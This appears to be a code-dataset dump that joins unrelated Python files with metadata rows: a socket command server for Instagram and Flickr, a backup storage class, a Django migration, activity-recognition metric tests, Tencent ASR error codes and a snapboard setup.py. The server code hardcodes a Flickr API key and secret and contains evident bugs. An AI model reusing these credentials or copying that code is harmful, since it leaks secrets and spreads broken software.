to_send="Now following "+arguments[3]
else:
to_send="You have to be logged in with instagram\nUse web instagram -h for more info"
elif arguments[2] == "unfollow":
if loggedInIG==True:
#returnID = subprocess.check_output( [sys.executable, "getIDbyUsername.py", arguments[3]])
returnID=getIDbyUsername(arguments[3])
if returnID[len(returnID)-1]=='"':
returnID=returnID[:-1]
userInstagram.unfollow(returnID)
to_send="Now not following "+arguments[3]+" anymore"
else:
to_send="You have to be logged in with instagram\nUse web instagram -h for more info"
elif arguments[2] == 'block':
if loggedInIG==True:
returnID=getIDbyUsername(arguments[3])
if returnID[len(returnID)-1]=='"':
returnID=returnID[:-1]
userInstagram.block(returnID)
to_send=+arguments[3]+" been blocked"
else:
to_send="You have to be logged in with instagram\nUse web instagram -h for more info"
elif arguments[2] == 'unblock':
if loggedInIG==True:
returnID=getIDbyUsername(arguments[3])
if returnID[len(returnID)-1]=='"':
returnID=returnID[:-1]
userInstagram.unblock(returnID)
to_send=+arguments[3]+" been unblocked"
else:
to_send="You have to be logged in with instagram\nUse web instagram -h for more info"
elif arguments[2]=="upload":
if loggedInIG == True:
if arguments[3]=="photo":
caption=""
for i in arguments[4:]:
caption+=str(i)+" "
uploadPhoto(arguments[4], caption)
elif arguments[2]=='-h':
to_send="Instagram API in Coliw\n\n\tsyntax: web instagram <follow/unfollow/login/block/unblock> <username>"
elif arguments[1] == "flickr":
continueT=True
index_to_start=0
number_of_photos=0
#web flickr
if len(arguments)==2:
to_send="no arguments given!"
#web flickr <tag>
elif len(arguments)==3:
if arguments[2]=='-h':
to_send="\nFlickr api\nSyntax: web flickr <keyword> <options>\n\n\t-i start index ( 0 as default )\n\t-n number of photos ( 1 as default )"
continueT=False
else:
index_to_start=1
number_of_photos=1
elif len(arguments)==5:
if arguments[3]=='-i':
if arguments[4].isdigit():
index_to_start=int(arguments[4])
else:
continueT=False
to_send=argument[4]+" is not a number"
elif arguments[3]=='-n':
if arguments[4].isdigit():
number_of_photos=int(arguments[4])
else:
continueT=False
to_send=argument[4]+" is not a number"
elif len(arguments)==6:
if arguments[3]=='-in':
if arguments[4].isdigit():
index_to_start=int(arguments[4])
else:
continueT=False
to_send=arguments[4]+" is not a number"
if arguments[5].isdigit():
number_of_photos=int(arguments[5])
else:
continueT=False
to_send=arguments[5]+" is not a number"
elif arguments[3]=='-ni':
if arguments[4].isdigit():
number_of_photos=int(arguments[4])
else:
continueT=False
to_send=arguments[4]+" is not a number"
if arguments[5].isdigit():
index_to_start=int(arguments[5])
else:
continueT=False
to_send=arguments[5]+" is not a number"
elif len(arguments)==7:
if arguments[3]=='-i' and arguments[5]=='-n':
if arguments[4].isdigit():
if arguments[6].isdigit():
index_to_start=int(arguments[4])
number_of_photos=int(arguments[6])
else:
continueT=False
to_send=arguments[6]+" is not a number"
else:
continueT=False
to_send=arguments[4]+" is not a number"
elif arguments[3]=='-n' and arguments[5]=='-i':
if arguments[4].isdigit():
if arguments[6].isdigit():
number_of_photos=int(arguments[4])
index_to_start=int(arguments[6])
else:
continueT=False
to_send=arguments[6]+" is not a number"
else:
continueT=False
to_send=arguments[4]+" is not a number"
elif arguments[3]==arguments[5]:
continueT=False
to_send="3rd and 5th argument cannot be even"
else:
continueT=False
to_send="Wrong syntax, expected -i or -n on the 3rd or 5th"
else:
to_send="Too many arguments given/wrong syntax"
continueT=False
if continueT:
#to_send="Right syntax/ you wanna search "+arguments[2]+" index="+str(index_to_start)+" no="+str(number_of_photos)
startUP=0
startDOWN=0
if number_of_photos==0:
number_of_photos=1
if number_of_photos==1 and index_to_start==1:
startUP=0
startDOWN=1
elif index_to_start==0 and number_of_photos>1:
startUP=0
startDOWN=number_of_photos
elif index_to_start>1 and number_of_photos==1:
startUP=index_to_start
startDOWN=index_to_start+1
elif index_to_start>1 and number_of_photos>1:
startUP=index_to_start
startDOWN=startUP+number_of_photos
elif index_to_start==1 and number_of_photos>1:
startUP=index_to_start
startDOWN=number_of_photos+1
elif index_to_start==0 and number_of_photos==1:
startUP=0
startDOWN=1
flickr = flickrapi.FlickrAPI('e57cfa37f00d7a9a5d7fac7e37ebcbb5', '00751b0c7b65ba7a',format='parsed-json')
extras = 'url_sq,url_t,url_s,url_q,url_m,url_n,url_z,url_c,url_l,url_o'
links = ""
cats = flickr.photos.search(text=arguments[2], per_page=startDOWN+startUP, extras=extras)
for i in range(startUP, startDOWN):
photos = cats['photos']['photo'][i]['url_m']
links =links+photos + '\n'
links=links[:-1]
to_send=links
else:
to_send="unknown web command"
else:
to_send="too few arguments known"
else:
to_send=arguments[0]+" is not recognized"
if loggedIn:
print subprocess.check_output( [sys.executable, "addCMD.py", username,data, to_send])
reply = to_send
conn.send(reply.encode('ascii'))
conn.close()
while True:
conn, addr = s.accept()
print("[+] Connected to " + addr[0] + ":" + str(addr[1]))
start_new_thread(client_thread, (conn,addr))
s.close() | 51.572139 | 181 | 0.400878 | 1,754 | 20,732 | 4.63626 | 0.155644 | 0.049434 | 0.034432 | 0.029513 | 0.531235 | 0.472946 | 0.385883 | 0.353419 | 0.333374 | 0.331899 | 0 | 0.020926 | 0.51365 | 20,732 | 402 | 182 | 51.572139 | 0.78558 | 0.039215 | 0 | 0.474474 | 0 | 0.012012 | 0.157317 | 0.011025 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.039039 | 0.027027 | null | null | 0.027027 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
c04036c9c0d6f6eb54fed3553561bac647b9577b | 2,866 | py | Python | backup/storage/common.py | svensp/backup | 9ec43bf88e40cd5034d1cdd8312e63ef12a1cc4a | [
"MIT"
] | 2 | 2021-01-20T21:17:32.000Z | 2021-08-10T03:52:46.000Z | backup/storage/common.py | svensp/backup | 9ec43bf88e40cd5034d1cdd8312e63ef12a1cc4a | [
"MIT"
] | null | null | null | backup/storage/common.py | svensp/backup | 9ec43bf88e40cd5034d1cdd8312e63ef12a1cc4a | [
"MIT"
] | 1 | 2020-08-09T18:20:48.000Z | 2020-08-09T18:20:48.000Z | class Resort:
def __init__(self):
self._mysql = False
self._postgres = False
self._borg = False
def name(self, name):
self._name = name
return self
def appendName(self, text):
return text+self._name
return self
def storage(self, storage):
self._storage = storage
return self
def withMySQL(self, mysql):
self._mysql = mysql
return self
def withPostgres(self):
self._postgres = True
return self
def passAdapters(self, receiver):
try:
receiver.setBorg(self._borg)
except AttributeError:
pass
try:
receiver.setMySQL(self._mysql)
except AttributeError:
pass
try:
receiver.setPostgres(self._postgres)
except AttributeError:
pass
def initMySQL(self):
try:
self._storage.resort(self._name).createAdapter('mysql')
except OSError:
print("MySQL already exists. Ignoring")
self._storage.rebuildResort(self)
def initBorg(self, copies):
try:
self._storage.resort(self._name).createAdapter('files')
except OSError:
print("Files already exists. Ignoring")
self._storage.rebuildResort(self)
self._borg.init(copies)
def withBorg(self, borg):
borg.resort(self)
self._borg = borg
return self
def createFolder(self, folderName):
self._storage.resort(self._name).adapter(self._currentAdapter).createFolder(folderName)
return self
def listFolders(self, path=None):
return self._storage.resort(self._name).adapter(self._currentAdapter).listFolder(path)
def fileContent(self, path):
return self._storage.resort(self._name).adapter(self._currentAdapter).fileContent(path)
def remove(self, remotePath):
self._storage.resort(self._name).adapter(self._currentAdapter) \
.remove(remotePath, True)
def upload(self, localPath, remotePath):
self._storage.resort(self._name).adapter(self._currentAdapter) \
.upload(localPath, remotePath, True)
def download(self, remotePath, localPath):
self._storage.resort(self._name).adapter(self._currentAdapter) \
.download(remotePath, localPath, True)
def adapter(self, adapater):
self._currentAdapter = adapater
return self
def print(self):
print("- "+self._name)
if self._borg:
print(" - borg filebackup")
if self._mysql:
print(" - mysql")
if self._postgres:
print(" - postgres")
class Error(Exception):
pass
class NoSuchResortError(Error):
def __init__(self, resortName):
self.resortName = resortName
| 26.293578 | 95 | 0.609909 | 289 | 2,866 | 5.875433 | 0.204152 | 0.056537 | 0.061249 | 0.09894 | 0.342756 | 0.301531 | 0.301531 | 0.195524 | 0.136631 | 0 | 0 | 0 | 0.292743 | 2,866 | 108 | 96 | 26.537037 | 0.837691 | 0 | 0 | 0.329268 | 0 | 0 | 0.039079 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.231707 | false | 0.060976 | 0 | 0.02439 | 0.402439 | 0.085366 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
c04140cf7071b13eeba1e17ab1f27b10c1673e80 | 553 | py | Python | rendertools/rorender/migrations/0003_auto_20180706_1528.py | najar1412/rendertools | 1295ac1eaa03401d9222f5baf9b7e8945e8e3cdd | [
"MIT"
] | null | null | null | rendertools/rorender/migrations/0003_auto_20180706_1528.py | najar1412/rendertools | 1295ac1eaa03401d9222f5baf9b7e8945e8e3cdd | [
"MIT"
] | 8 | 2020-01-04T21:28:15.000Z | 2021-09-22T17:46:14.000Z | rendertools/rorender/migrations/0003_auto_20180706_1528.py | najar1412/rendertools | 1295ac1eaa03401d9222f5baf9b7e8945e8e3cdd | [
"MIT"
] | null | null | null | # Generated by Django 2.0.7 on 2018-07-06 14:28
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('rorender', '0002_machine_running'),
]
operations = [
migrations.AddField(
model_name='machine',
name='corona_running',
field=models.BooleanField(default=True),
),
migrations.AddField(
model_name='machine',
name='vray_running',
field=models.BooleanField(default=True),
),
]
| 23.041667 | 52 | 0.584087 | 54 | 553 | 5.87037 | 0.62963 | 0.113565 | 0.14511 | 0.170347 | 0.498423 | 0.498423 | 0 | 0 | 0 | 0 | 0 | 0.049351 | 0.303797 | 553 | 23 | 53 | 24.043478 | 0.774026 | 0.081374 | 0 | 0.470588 | 1 | 0 | 0.134387 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.058824 | 0 | 0.235294 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
c0528e8c72c90da76f85635e3a3e0f3bf1d6f476 | 9,903 | py | Python | tests/test_activity_recognition_metrics.py | darpa-sail-on/sail-on-client | 1fd7c0ec359469040fd7af0c8e56fe53277d4a27 | [
"Apache-2.0"
] | 1 | 2021-04-12T17:20:54.000Z | 2021-04-12T17:20:54.000Z | tests/test_activity_recognition_metrics.py | darpa-sail-on/sail-on-client | 1fd7c0ec359469040fd7af0c8e56fe53277d4a27 | [
"Apache-2.0"
] | 92 | 2021-03-08T22:32:15.000Z | 2022-03-25T03:53:01.000Z | tests/test_activity_recognition_metrics.py | darpa-sail-on/sail-on-client | 1fd7c0ec359469040fd7af0c8e56fe53277d4a27 | [
"Apache-2.0"
] | null | null | null | """Tests for activity recognition metric class."""
from sail_on_client.evaluate.activity_recognition import ActivityRecognitionMetrics
import os
import pandas as pd
import pytest
@pytest.fixture(scope="function")
def arm_metrics():
"""Fixture for generated activity recognition metrics."""
gt_config = list(range(0, 6))
arm_metrics = ActivityRecognitionMetrics("OND", *gt_config)
return arm_metrics
@pytest.fixture(scope="function")
def detection_files():
"""Fixture for reading detection file and ground truth."""
result_folder = os.path.join(
os.path.dirname(__file__), "mock_results", "activity_recognition"
)
gt_file = os.path.join(result_folder, "OND.10.90001.2100554_single_df.csv")
gt = pd.read_csv(gt_file, sep=",", header=None, skiprows=1)
detection_file = os.path.join(
result_folder, "OND.10.90001.2100554_PreComputedONDAgent_detection.csv"
)
detection = pd.read_csv(detection_file, sep=",", header=None)
return detection, gt
@pytest.fixture(scope="function")
def classification_file():
"""Fixture for reading classification file."""
result_folder = os.path.join(
os.path.dirname(__file__), "mock_results", "activity_recognition"
)
classification_file_id = os.path.join(
result_folder, "OND.10.90001.2100554_PreComputedONDAgent_classification.csv"
)
classification = pd.read_csv(classification_file_id, sep=",", header=None)
return classification
@pytest.fixture(scope="function")
def baseline_classification_file():
"""Fixture for reading baseline classification file."""
result_folder = os.path.join(
os.path.dirname(__file__), "mock_results", "activity_recognition"
)
classification_file_id = os.path.join(
result_folder,
"OND.10.90001.2100554_BaselinePreComputedONDAgent_classification.csv",
)
classification = pd.read_csv(classification_file_id, sep=",", header=None)
return classification
@pytest.mark.parametrize("protocol_name", ["OND", "CONDDA"])
def test_initialize(protocol_name):
"""
Test activity recognition metric initialization.
Return:
None
"""
gt_config = list(range(0, 6))
arm_metrics = ActivityRecognitionMetrics(protocol_name, *gt_config)
assert arm_metrics.protocol == protocol_name
def test_m_acc(
arm_metrics, detection_files, classification_file, expected_ar_m_acc_values
):
"""
Test m_acc computation.
Args:
program_metrics (ActivityRecognitionMetrics): An instance of ActivityRecognitionMetrics
detection_files (Tuple): A tuple of data frames containing detection and ground truth
classification_file: A data frame containing classification
expected_ar_m_acc_values: Values expected_ar for m_acc
Return:
None
"""
detection, gt = detection_files
m_acc = arm_metrics.m_acc(gt[1], classification_file, gt[3], 100, 5)
assert m_acc == expected_ar_m_acc_values
def test_m_acc_round_wise(
arm_metrics,
detection_files,
classification_file,
expected_ar_m_acc_roundwise_values,
):
"""
Test m_acc computation for a round.
Args:
arm_metrics (ActivityRecognitionMetrics): An instance of ActivityRecognitionMetrics
detection_files (Tuple): A tuple of data frames containing detection and ground truth
classification_file: A data frame containing classification
expected_ar_m_acc_roundwise_values: Values expected_ar for m_acc for a round
Return:
None
"""
_, gt = detection_files
m_acc_round_wise = arm_metrics.m_acc_round_wise(
classification_file, gt[arm_metrics.classification_id], 0
)
assert m_acc_round_wise == expected_ar_m_acc_roundwise_values
def test_m_num(arm_metrics, detection_files, expected_ar_m_num_values):
"""
Test m_num computation.
Args:
arm_metrics (ActivityRecognitionMetrics): An instance of ActivityRecognitionMetrics
detection_files (Tuple): A tuple of data frames containing detection and ground truth
expected_ar_m_num_values: Values expected_ar for m_num
Return:
None
"""
detection, gt = detection_files
m_num = arm_metrics.m_num(detection[arm_metrics.novel_id], gt[1])
assert m_num == expected_ar_m_num_values
def test_m_num_stats(arm_metrics, detection_files, expected_ar_m_num_stats_values):
"""
Test m_num_stats computation.
Args:
arm_metrics (ActivityRecognitionMetrics): An instance of ActivityRecognitionMetrics
detection_files (Tuple): A tuple of data frames containing detection and ground truth
expected_ar_m_num_stats_values: Values expected_ar for m_num_stats
Return:
None
"""
detection, gt = detection_files
m_num_stats = arm_metrics.m_num_stats(detection[arm_metrics.novel_id], gt[1])
assert m_num_stats == expected_ar_m_num_stats_values
def test_m_ndp(arm_metrics, detection_files, expected_ar_m_ndp_values):
"""
Test m_ndp computation.
Args:
arm_metrics (ActivityRecognitionMetrics): An instance of ActivityRecognitionMetrics
detection_files (Tuple): A tuple of data frames containing detection and ground truth
expected_ar_m_ndp_values: Values expected_ar for m_ndp
Return:
None
"""
detection, gt = detection_files
m_ndp = arm_metrics.m_ndp(detection[arm_metrics.novel_id], gt[1])
assert m_ndp == expected_ar_m_ndp_values
def test_m_ndp_pre(arm_metrics, detection_files, expected_ar_m_ndp_pre_values):
"""
Test m_ndp_pre computation.
Args:
arm_metrics (ActivityRecognitionMetrics): An instance of ActivityRecognitionMetrics
detection_files (Tuple): A tuple of data frames containing detection and ground truth
expected_ar_m_ndp_pre_values: Values expected_ar from m_ndp_pre
Return:
None
"""
detection, gt = detection_files
m_ndp_pre = arm_metrics.m_ndp_pre(detection[arm_metrics.novel_id], gt[1])
assert m_ndp_pre == expected_ar_m_ndp_pre_values
def test_m_ndp_post(arm_metrics, detection_files, expected_ar_m_ndp_post_values):
"""
Test m_ndp_post computation.
Args:
arm_metrics (ActivityRecognitionMetrics): An instance of ActivityRecognitionMetrics
detection_files (Tuple): A tuple of data frames containing detection and ground truth
expected_ar_m_ndp_post_values: Values expected_ar for m_ndp_post
Return:
None
"""
detection, gt = detection_files
m_ndp_post = arm_metrics.m_ndp_post(detection[arm_metrics.novel_id], gt[1])
assert m_ndp_post == expected_ar_m_ndp_post_values
def test_m_ndp_failed_reaction(
arm_metrics, detection_files, classification_file, expected_ar_m_ndp_failed_values
):
"""
Test m_ndp_failed_reaction computation.
Args:
arm_metrics (ActivityRecognitionMetrics): An instance of ActivityRecognitionMetrics
detection_files (Tuple): A tuple of data frames containing detection and ground truth
classification_file: A data frame containing classification
expected_ar_m_ndp_failed_values: Values expected_ar for m_ndp_failed_values
Return:
None
"""
detection, gt = detection_files
m_ndp_failed = arm_metrics.m_ndp_failed_reaction(
detection[arm_metrics.novel_id], gt[1], classification_file, gt[3]
)
assert m_ndp_failed == expected_ar_m_ndp_failed_values
@pytest.mark.skip(reason="no way of currently testing this")
def test_m_accuracy_on_novel(arm_metrics, detection_files, classification_file):
"""
Test m_accuracy_on_novel computation.
Args:
arm_metrics (ActivityRecognitionMetrics): An instance of ActivityRecognitionMetrics
detection_files (Tuple): A tuple of data frames containing detection and ground truth
classification_file: A data frame containing classification
Return:
None
"""
detection, gt = detection_files
arm_metrics.m_accuracy_on_novel(classification_file, gt[3], gt[1])
def test_is_cdt_and_is_early(arm_metrics, detection_files):
"""
Test m_is_cdt_and_is_early computation.
Args:
arm_metrics (ActivityRecognitionMetrics): An instance of ActivityRecognitionMetrics
detection_files (Tuple): A tuple of data frames containing detection and ground truth
Return:
None
"""
detection, gt = detection_files
m_num_stats = arm_metrics.m_num_stats(detection[arm_metrics.novel_id], gt[1])
is_cdt_is_early = arm_metrics.m_is_cdt_and_is_early(
m_num_stats["GT_indx"], m_num_stats["P_indx_0.5"], gt.shape[0]
)
assert is_cdt_is_early["Is CDT"] and not is_cdt_is_early["Is Early"]
def test_m_nrp(
arm_metrics,
detection_files,
classification_file,
baseline_classification_file,
expected_ar_m_nrp_values,
):
"""
Test novelty reaction performance.
Args:
arm_metrics (ActivityRecognitionMetrics): An instance of ActivityRecognitionMetrics
detection_files (Tuple): A tuple of data frames containing detection and ground truth
classification_file (DataFrame): A data frame with classification prediction
baseline_classification_fDataFrame): A data frame with classification prediction for baseline
expected_ar_m_nrp_values: Expected Values for m_nrp
Return:
None
"""
detection, gt = detection_files
m_acc = arm_metrics.m_acc(
gt[arm_metrics.novel_id],
classification_file,
gt[arm_metrics.classification_id],
100,
5,
)
m_acc_baseline = arm_metrics.m_acc(
gt[arm_metrics.novel_id],
baseline_classification_file,
gt[arm_metrics.classification_id],
100,
5,
)
m_nrp = arm_metrics.m_nrp(m_acc, m_acc_baseline)
assert m_nrp == expected_ar_m_nrp_values
| 33.231544 | 101 | 0.730688 | 1,288 | 9,903 | 5.255435 | 0.097826 | 0.076821 | 0.043877 | 0.024819 | 0.800709 | 0.710001 | 0.631851 | 0.590782 | 0.533905 | 0.502438 | 0 | 0.011175 | 0.195799 | 9,903 | 297 | 102 | 33.343434 | 0.838774 | 0.39695 | 0 | 0.401575 | 0 | 0 | 0.079226 | 0.039065 | 0 | 0 | 0 | 0 | 0.086614 | 1 | 0.125984 | false | 0 | 0.031496 | 0 | 0.188976 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
c0533c8f244a963ab2f33b5724b23915b603ee20 | 5,293 | py | Python | tencentcloud/asr/v20190614/errorcodes.py | PlasticMem/tencentcloud-sdk-python | 666db85623d51d640a165907a19aef5fba53b38d | [
"Apache-2.0"
] | 465 | 2018-04-27T09:54:59.000Z | 2022-03-29T02:18:01.000Z | tencentcloud/asr/v20190614/errorcodes.py | PlasticMem/tencentcloud-sdk-python | 666db85623d51d640a165907a19aef5fba53b38d | [
"Apache-2.0"
] | 91 | 2018-04-27T09:48:11.000Z | 2022-03-12T08:04:04.000Z | tencentcloud/asr/v20190614/errorcodes.py | PlasticMem/tencentcloud-sdk-python | 666db85623d51d640a165907a19aef5fba53b38d | [
"Apache-2.0"
] | 232 | 2018-05-02T08:02:46.000Z | 2022-03-30T08:02:48.000Z | # -*- coding: utf8 -*-
# Copyright (c) 2017-2021 THL A29 Limited, a Tencent company. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# CAM签名/鉴权错误。
AUTHFAILURE = 'AuthFailure'
# 用户没有权限进行此查询操作。
AUTHFAILURE_CHECKRESOURCERESPONSECODEERROR = 'AuthFailure.CheckResourceResponseCodeError'
# 未授权操作。
AUTHFAILURE_UNAUTHORIZEDOPERATION = 'AuthFailure.UnauthorizedOperation'
# 操作失败。
FAILEDOPERATION = 'FailedOperation'
# 下载音频文件失败。
FAILEDOPERATION_ERRORDOWNFILE = 'FailedOperation.ErrorDownFile'
# 识别失败。
FAILEDOPERATION_ERRORRECOGNIZE = 'FailedOperation.ErrorRecognize'
# 错误的TaskId。
FAILEDOPERATION_NOSUCHTASK = 'FailedOperation.NoSuchTask'
# 账号因为欠费停止服务,请在腾讯云账户充值。
FAILEDOPERATION_SERVICEISOLATE = 'FailedOperation.ServiceIsolate'
# 账号本月免费额度已用完。
FAILEDOPERATION_USERHASNOFREEAMOUNT = 'FailedOperation.UserHasNoFreeAmount'
# 服务未开通,请在腾讯云官网语音识别控制台开通服务。
FAILEDOPERATION_USERNOTREGISTERED = 'FailedOperation.UserNotRegistered'
# 内部错误。
INTERNALERROR = 'InternalError'
# 初始化配置失败。
INTERNALERROR_ERRORCONFIGURE = 'InternalError.ErrorConfigure'
# 创建日志失败。
INTERNALERROR_ERRORCREATELOG = 'InternalError.ErrorCreateLog'
# 下载音频文件失败。
INTERNALERROR_ERRORDOWNFILE = 'InternalError.ErrorDownFile'
# 新建数组失败。
INTERNALERROR_ERRORFAILNEWPREQUEST = 'InternalError.ErrorFailNewprequest'
# 写入数据库失败。
INTERNALERROR_ERRORFAILWRITETODB = 'InternalError.ErrorFailWritetodb'
# 文件无法打开。
INTERNALERROR_ERRORFILECANNOTOPEN = 'InternalError.ErrorFileCannotopen'
# 获取路由失败。
INTERNALERROR_ERRORGETROUTE = 'InternalError.ErrorGetRoute'
# 创建日志路径失败。
INTERNALERROR_ERRORMAKELOGPATH = 'InternalError.ErrorMakeLogpath'
# 识别失败。
INTERNALERROR_ERRORRECOGNIZE = 'InternalError.ErrorRecognize'
# 访问数据库失败。
INTERNALERROR_FAILACCESSDATABASE = 'InternalError.FailAccessDatabase'
# 访问Redis失败。
INTERNALERROR_FAILACCESSREDIS = 'InternalError.FailAccessRedis'
# 参数错误。
INVALIDPARAMETER = 'InvalidParameter'
# 请求数据长度无效。
INVALIDPARAMETER_ERRORCONTENTLENGTH = 'InvalidParameter.ErrorContentlength'
# 参数不全。
INVALIDPARAMETER_ERRORPARAMSMISSING = 'InvalidParameter.ErrorParamsMissing'
# 解析请求数据失败。
INVALIDPARAMETER_ERRORPARSEQUEST = 'InvalidParameter.ErrorParsequest'
# 文件编码错误。
INVALIDPARAMETER_FILEENCODE = 'InvalidParameter.FileEncode'
# 非法的词表状态。
INVALIDPARAMETER_INVALIDVOCABSTATE = 'InvalidParameter.InvalidVocabState'
# 该模型状态不允许删除。
INVALIDPARAMETER_MODELSTATE = 'InvalidParameter.ModelState'
# 参数取值错误。
INVALIDPARAMETERVALUE = 'InvalidParameterValue'
# AppId无效。
INVALIDPARAMETERVALUE_ERRORINVALIDAPPID = 'InvalidParameterValue.ErrorInvalidAppid'
# ClientIp无效。
INVALIDPARAMETERVALUE_ERRORINVALIDCLIENTIP = 'InvalidParameterValue.ErrorInvalidClientip'
# EngSerViceType无效。
INVALIDPARAMETERVALUE_ERRORINVALIDENGSERVICE = 'InvalidParameterValue.ErrorInvalidEngservice'
# ProjectId无效。
INVALIDPARAMETERVALUE_ERRORINVALIDPROJECTID = 'InvalidParameterValue.ErrorInvalidProjectid'
# RequestId无效。
INVALIDPARAMETERVALUE_ERRORINVALIDREQUESTID = 'InvalidParameterValue.ErrorInvalidRequestid'
# SourceType无效。
INVALIDPARAMETERVALUE_ERRORINVALIDSOURCETYPE = 'InvalidParameterValue.ErrorInvalidSourcetype'
# SubserviceType无效。
INVALIDPARAMETERVALUE_ERRORINVALIDSUBSERVICETYPE = 'InvalidParameterValue.ErrorInvalidSubservicetype'
# Url无效。
INVALIDPARAMETERVALUE_ERRORINVALIDURL = 'InvalidParameterValue.ErrorInvalidUrl'
# UsrAudioKey无效。
INVALIDPARAMETERVALUE_ERRORINVALIDUSERAUDIOKEY = 'InvalidParameterValue.ErrorInvalidUseraudiokey'
# 音频编码格式不支持。
INVALIDPARAMETERVALUE_ERRORINVALIDVOICEFORMAT = 'InvalidParameterValue.ErrorInvalidVoiceFormat'
# 音频数据无效。
INVALIDPARAMETERVALUE_ERRORINVALIDVOICEDATA = 'InvalidParameterValue.ErrorInvalidVoicedata'
# 音频时长超过限制。
INVALIDPARAMETERVALUE_ERRORVOICEDATATOOLONG = 'InvalidParameterValue.ErrorVoicedataTooLong'
# 非法的参数长度。
INVALIDPARAMETERVALUE_INVALIDPARAMETERLENGTH = 'InvalidParameterValue.InvalidParameterLength'
# 非法的VocabId。
INVALIDPARAMETERVALUE_INVALIDVOCABID = 'InvalidParameterValue.InvalidVocabId'
# 非法的词表状态。
INVALIDPARAMETERVALUE_INVALIDVOCABSTATE = 'InvalidParameterValue.InvalidVocabState'
# 词权重不合法。
INVALIDPARAMETERVALUE_INVALIDWORDWEIGHT = 'InvalidParameterValue.InvalidWordWeight'
# 非法的WordWeightStr。
INVALIDPARAMETERVALUE_INVALIDWORDWEIGHTSTR = 'InvalidParameterValue.InvalidWordWeightStr'
# 模型不存在。
INVALIDPARAMETERVALUE_MODELID = 'InvalidParameterValue.ModelId'
# 非法的模型状态。
INVALIDPARAMETERVALUE_TOSTATE = 'InvalidParameterValue.ToState'
# 超过配额限制。
LIMITEXCEEDED = 'LimitExceeded'
# 自学习模型创建个数已到限制。
LIMITEXCEEDED_CUSTOMIZATIONFULL = 'LimitExceeded.CustomizationFull'
# 上线模型个数已到限制。
LIMITEXCEEDED_ONLINEFULL = 'LimitExceeded.OnlineFull'
# 热词表数量已到账号限制。
LIMITEXCEEDED_VOCABFULL = 'LimitExceeded.VocabFull'
# 缺少参数错误。
MISSINGPARAMETER = 'MissingParameter'
# 请求的次数超过了频率限制。
REQUESTLIMITEXCEEDED = 'RequestLimitExceeded'
# 未知参数错误。
UNKNOWNPARAMETER = 'UnknownParameter'
| 28.766304 | 101 | 0.843378 | 366 | 5,293 | 12.068306 | 0.497268 | 0.013584 | 0.005886 | 0.007245 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.003096 | 0.08464 | 5,293 | 183 | 102 | 28.923497 | 0.908566 | 0.230304 | 0 | 0 | 0 | 0 | 0.442168 | 0.412191 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
c056b10dcf3fbd8fab22f3c5cb74398ec7b5fcbf | 2,058 | py | Python | setup.py | SarathkumarJ/snapboard | e19edd0e4bb53b3b8cce6b245cf12413e811852e | [
"BSD-3-Clause"
] | null | null | null | setup.py | SarathkumarJ/snapboard | e19edd0e4bb53b3b8cce6b245cf12413e811852e | [
"BSD-3-Clause"
] | null | null | null | setup.py | SarathkumarJ/snapboard | e19edd0e4bb53b3b8cce6b245cf12413e811852e | [
"BSD-3-Clause"
] | null | null | null | #!/usr/bin/python
from distutils.core import setup
setup(
name='snapboard',
version='0.2.1',
author='Bo Shi',
maintainer='SNAPboard developers',
maintainer_email='snapboard-discuss@googlegroups.com',
url='http://code.google.com/p/snapboard/',
description='Bulletin board application for Django.',
long_description='''SNAPboard is forum/bulletin board application based on the Django web
framework. It integrates easily in any Django project.
Among its features are:
* Editable posts with all revisions publicly available
* Messages posted within threads can be made visible only to selected
users
* BBCode, Markdown and Textile supported for post formatting
* BBCode toolbar
* Multiple forums with four types of permissions
* Forum permissions can be assigned to custom groups of users
* Group administration can be delegated to end users on a per-group basis
* Moderators for each forum
* User preferences
* Watched topics
* Abuse reports
* User and IP address bans that don't automatically spread to other Django
applications within the project
* i18n hooks to create your own translations
* Included translations: French, Russian
SNAPboard requires Django 1.0.''',
classifiers=[
'Development Status :: 4 - Beta',
'Environment :: Web Environment',
'Framework :: Django',
'Intended Audience :: Developers',
'License :: OSI Approved :: New BSD License',
'Operating System :: OS Independent',
'Programming Language :: Python',
'Topic :: Communications :: BBS',
'Topic :: Internet :: WWW/HTTP :: Dynamic Content :: Message Boards',
],
packages=['snapboard',],
